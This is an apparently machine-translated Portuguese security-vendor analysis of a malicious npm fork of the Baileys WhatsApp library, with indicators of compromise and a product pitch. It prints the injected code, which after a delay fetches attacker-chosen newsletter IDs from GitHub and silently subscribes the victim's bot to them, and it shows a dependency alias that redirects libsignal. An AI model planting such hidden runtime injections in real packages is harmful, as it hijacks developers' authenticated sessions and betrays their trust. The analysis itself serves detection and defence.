Pacote npm malicioso

Pacote npm malicioso no fork do Baileys (caso Skyzopedia)

TL, DR

O Equipe de Pesquisa de Segurança Xygeni identificou um pacote npm malicioso, @dappaoffc/baileys-mod, publicada como uma bifurcação da biblioteca WhatsApp Web API, amplamente utilizada. @whiskeysockets/baileys.

A partir da versão 8.0.1, este pacote npm malicioso contém uma injeção de código em tempo de execução. lib/Socket/newsletter.jsA lógica injetada inscreve silenciosamente a sessão autenticada do bot do WhatsApp do desenvolvedor em canais de newsletter controlados pelo atacante.

A carga útil é ativada 80 segundos após o carregamento do módulo e recupera dinamicamente sua lista de alvos do GitHub, tornando o comportamento autoatualizável e difícil de detectar por meio de análises em tempo de instalação.

Visão geral técnica

Durante o monitoramento de rotina de dependências recém-publicadas, a Equipe de Pesquisa de Segurança da Xygeni detectou um comportamento anômalo em @dappaoffc/baileys-mod, mais tarde confirmado como um pacote npm malicioso Visando o ecossistema de bots do WhatsApp.

Diferentemente de worms que roubam credenciais ou de ransomware, este pacote npm malicioso abusa da relação de confiança entre um desenvolvedor e uma biblioteca de código aberto comumente bifurcada.

O pacote se apresenta como uma versão modificada de Baileys, uma implementação popular da API Web do WhatsApp, amplamente utilizada para criar bots de automação. Dentro desse ecossistema, a instalação de forks é uma prática comum. Consequentemente, o atacante explorou um modelo de distribuição realista em vez de uma vulnerabilidade.

Importante:

  • O O script de pré-instalação valida apenas a versão do Node.js.
  • Não ocorre exfiltração de credenciais durante a instalação.
  • Nenhuma atividade suspeita após a instalação foi detectada.
  • A injeção é executada estritamente em tempo de execução.

Devido a esse projeto, os scanners instalados durante a instalação não detectariam comportamentos maliciosos.

Mecanismo de injeção em tempo de execução dentro do pacote npm malicioso

A lógica maliciosa contida neste pacote npm malicioso reside em lib/Socket/newsletter.js, incorporado diretamente no contexto de execução do módulo.

O atacante envolveu o bloco injetado em uma Expressão de Função Invocada Imediatamente (IIFE), o que garante a execução assim que o módulo for carregado.

No entanto, em vez de ser acionada imediatamente, a carga útil introduz um mecanismo de execução retardada:

				
					(async () => {
  try {
    setTimeout(async() => {
      const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
      const newsletterIds = await res.json();
      newsletterIds.forEach(async(i) => {
        await delay(5000)
        try {
          await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
        } catch (e) {}
      });
    }, 80000)
  } catch (err) {}
})()
				
			

Após o término do atraso, a carga útil executa uma sequência controlada:

  • Busca um JSON arquivo de um URL de conteúdo bruto do GitHub.
  • Analisa uma lista de IDs de newsletters do WhatsApp.
  • Percorre a lista.
  • chamadas newsletterWMexQuery(id, QueryIds.FOLLOW) para cada entrada.
  • O Spaces solicita mensagens com cinco segundos de intervalo para reduzir a detecção de limite de taxa.
  • Suprime silenciosamente todos os erros de tempo de execução.

Como o código invoca funções internas da biblioteca em vez de scripts externos, o tráfego resultante parece indistinguível de ações legítimas iniciadas pelo usuário. Quais aplicativos Do ponto de vista do protocolo, o bot se inscreveu voluntariamente nesses canais.

Comparação técnica: comportamento legítimo versus comportamento injetado

ComponenteComportamento legítimoInjeção Maliciosa
Fase de InstalaçãoValida apenas a versão do Node.jsNenhum comportamento malicioso visível durante a instalação.
Inicialização do móduloFábrica de soquetes para WhatsApp para exportaçãoIIFE é executada automaticamente ao carregar o módulo.
Tempo de execuçãoSem comportamento retardadoAtivação com atraso de 80 segundos
Comunicação de redeA comunicação é feita exclusivamente através do protocolo WhatsApp WebSocket.Busca de saída para conteúdo bruto do GitHub (canal de controle dinâmico)
Ações da newsletterSolicitações de assinatura iniciadas pelo usuárioSolicitações FOLLOW automatizadas por meio da API interna da biblioteca.
Tratamento de errosPropaga erros operacionaisSuprime silenciosamente todas as exceções.

Canal de controle dinâmico via GitHub

A lista de IDs da newsletter está hospedada em:

				
					https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json
				
			

Este projeto oferece diversas vantagens operacionais:

  • Atualizações dinâmicas de payloads sem publicar uma nova versão do npm.
  • Ponto de extremidade TLS confiável que se integra ao tráfego normal de desenvolvedores.
  • Não é necessária nenhuma infraestrutura gerenciada pelo atacante.
  • Persistência entre bots já implantados

Como a injeção é executada dentro do escopo da fábrica, ela reutiliza closures internas, como: newsletterWMexQuery e delay Sem importar módulos externos. Isso minimiza o espaço ocupado e aumenta a discrição.

Na prática, o GitHub funciona como um canal de distribuição de comandos leve.

Sinais de Dependência, Alias ​​e Atribuição

Os metadados do pacote incluem o seguinte alias de dependência:

				
					"libsignal": "npm:@skyzopedia/libsignal-node"
				
			

Isso redireciona uma dependência criptográfica crítica para um escopo npm controlado pelo atacante.

Além disso, os metadados representam o projeto original, fazendo referência ao autor e repositório originais. Isso aumenta a legitimidade percebida e reduz o escrutínio durante uma revisão superficial.

Esses sinais indicam uma mistura deliberada de ecossistemas em vez de... adulteração oportunista.

Indicadores de comprometimento para este pacote npm malicioso

As equipes de segurança que investigam este pacote npm malicioso devem avaliar os seguintes sinais:

Sinais de rede

  • Solicitações GET de saída para raw.githubusercontent.com processos de bots do WhatsApp
  • Ações de SEGUIR na newsletter que ocorrem sem que a lógica do aplicativo as acione.

Pacote de sinais

  • @dappaoffc/baileys-mod versão 8.0.1 (e potencialmente 8.0.0)
  • redirecionamento de alias de dependência libsignal
  • Injeção IIFE em tempo de execução dentro newsletter.js

Sinais Comportamentais

  • Solicitações FOLLOW espaçadas em intervalos de cinco segundos.
  • Nenhuma interação do usuário antes da inscrição na newsletter.
  • Supressão silenciosa de erros no código da biblioteca principal

Diferentemente dos malwares tradicionais, este ataque não requer exfiltração de credenciais. O abuso ocorre inteiramente dentro de um contexto de sessão já autenticada.

Detecção e Mitigação com Xygeni

Este caso ilustra por que a verificação durante a instalação, por si só, é insuficiente. O comportamento malicioso é executado após o carregamento do módulo e se oculta dentro da lógica de negócios legítima.

Alerta Antecipado de Malware (MEW) da Xygeni Este pacote foi detectado através da correlação de múltiplos sinais, em vez de se basear em uma única assinatura.

Análise Estática de Fonte Completa

O MEW inspeciona árvores de origem de pacotes completas, não apenas scripts de ciclo de vida.

Neste caso, os sinais de detecção incluíram:

  • Um inesperado fetch() chamada dentro de um módulo principal do WhatsApp
  • Comunicação de saída para conteúdo bruto do GitHub
  • Padrões de execução atrasada incorporados na lógica de tempo de execução
  • Tratamento silencioso de erros aninhados

Individualmente, esses padrões podem parecer benignos. No entanto, a análise combinada revela um comportamento anômalo inconsistente com uma bifurcação de Baileys legítima.

Correlação de risco de dependência

O libsignal O uso de alias gerou escrutínio adicional porque redireciona uma dependência sensível para um escopo não verificado.

Correlações de Xygeni:

  • sinais de reputação do editor
  • Inconsistências na definição de escopo de propriedade
  • Redirecionamento de dependências em bibliotecas criptográficas
  • indicadores de falsificação de metadados

Essa análise em camadas reduz os falsos positivos e, ao mesmo tempo, identifica abusos de confiança.

Controles da cadeia de suprimentos com reconhecimento de tempo de execução

Como esse pacote npm malicioso é executado em tempo de execução, uma defesa eficaz requer análise comportamental.

Xygeni avalia:

  • Mecanismos de execução retardada
  • Uso indevido da API interna
  • Chamadas de rede de saída dentro do código de dependência
  • Fluxo de controle anômalo em bibliotecas de terceiros

Além disso, Guardrails políticas em CI/CD pode:

  • Bloquear chamadas de saída inesperadas durante a compilação
  • Detectar alterações suspeitas no gráfico de dependências
  • Impor restrições ao redirecionamento de escopo
  • Padrões de recuperação de carga útil dinâmica de sinalização

Portanto, a contenção não depende exclusivamente da remoção do registro.

Por que este pacote npm malicioso é importante para a segurança da cadeia de suprimentos

Este pacote npm malicioso reflete uma mudança estrutural no abuso da cadeia de suprimentos:

  • Execução em tempo de execução em vez de cargas úteis em tempo de instalação
  • Canais de controle dinâmico hospedados em plataformas confiáveis
  • Abuso de APIs internas legítimas
  • Falsificação de metadados para imitar os mantenedores originais.

O atacante não explorou uma vulnerabilidade de software. Em vez disso, explorou a confiança em forks e atualizações de dependências.

Consequentemente, a detecção requer inspeção completa do código-fonte, correlação de riscos de dependência e análise considerando o tempo de execução, e não apenas varredura de scripts.

sca-tools-software-composição-análise-ferramentas
Priorize, corrija e proteja seus riscos de software
Crie sua conta gratuita.
Nenhum cartão de crédito é necessário.

Garanta o desenvolvimento e a entrega do seu software.

com o Suíte de Produtos da Xygeni